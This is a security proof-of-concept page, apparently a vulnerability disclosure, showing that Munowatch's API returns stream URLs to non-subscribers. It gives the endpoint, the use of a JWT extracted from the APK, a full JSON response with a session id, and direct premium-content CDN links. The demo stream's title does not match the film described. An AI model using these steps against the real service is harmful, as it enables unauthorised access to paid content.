The Girl Who Believes in Miracles

SECURITY PoC — NO AUTH

CDN BYPASS DEMO — Munowatch CDN serves this video with no token, no auth header required

CDN bypass demonstration:
The API returned playingUrl for The Girl Who Believes in Miracles with issubscriber: false and user_access: deny.
The video above plays from Munowatch's own CDN with zero authentication — any b-cdn.net URL is publicly accessible.

Vj Junior Family 01h 34m 5 years ago

When young Sara hears a preacher say faith can move mountains, she starts praying. Suddenly, people in her town are mysteriously healed -- but fame soon takes its toll.

API Response Evidence — Vulnerability Proof

Endpoint called GET /api/preview/v2/16319/0

User ID used 0 (no user / not logged in)

JWT used Expired Feb 2024 (extracted from APK)

issubscriber false

user_access deny

paid_for YES (premium content)

substatus EXPIRED

serverhost 32

video_name a girl who believes.mp4

playingUrl returned YES — URL in response

API playingUrl value https://munowatch.co/clips/ELI.mp4

CDN demo stream https://munotech3.b-cdn.net/daphine/Daphine42/1-Vengeance of the Bride-JBS TV-VJ IVO.mp4

Finding: The server sets user_access=deny and issubscriber=false but still returns playingUrl in the same response. Subscription is enforced client-side only — any caller with the expired APK JWT can obtain stream URLs without a subscription. Munowatch CDN (b-cdn.net) serves content with no auth required (direct HTTP Range requests succeed with HTTP 206).

{
    "id": 16319,
    "video_title": "The Girl Who Believes in Miracles",
    "description": "When young Sara hears a preacher say faith can move mountains, she starts praying. Suddenly, people in her town are mysteriously healed -- but fame soon takes its toll.",
    "video_name": "a girl who believes.mp4",
    "filehistory": "",
    "openload": "0",
    "embedurl": "",
    "serverhost": "32",
    "allow_openload": "0",
    "full_video_name": "",
    "duration": "01h 34m",
    "thumbnail": "https://apposters.b-cdn.net/laba/yo/naki/598892647027.jpg",
    "tfilehistory": "",
    "category_id": 13,
    "language_id": 1,
    "recording_date": "2021-06-24",
    "age_id": "Tv G",
    "location": 1,
    "tab_category_id": 13,
    "series_code": "16319",
    "access": "1",
    "paid_for": "1",
    "new_movie": "1",
    "priority": "No",
    "size": "709.48 MB",
    "create_date": "2021-06-24 07:37:16",
    "schedule_date": null,
    "user_id": 1118356,
    "vj_id": 1,
    "video_status_id": 0,
    "network_id": "102.82.100.144",
    "user_access": "deny",
    "notification": "No",
    "secduration": "5679.000000",
    "issubscriber": false,
    "genre": "Family",
    "vjname": "Vj Junior",
    "trailer_playing_url": "",
    "episodes": 0,
    "episode_state": "",
    "nxt_eps": "",
    "nxt_eps_id": 0,
    "nxt_eps_title": "",
    "nxt_ldur": 0,
    "nxt_playing_url": "https://munowatch.co/clips/ELI.mp4",
    "playingUrl": "https://munowatch.co/clips/ELI.mp4",
    "ldur": 0,
    "session_id": "cb99afb5b31411a57538a97393de0e2e",
    "device": "web",
    "lang_name": "English to Luganda",
    "vjrelease": "5 years ago",
    "mstatus": false,
    "kstatus": "",
    "substatus": "EXPIRED"
}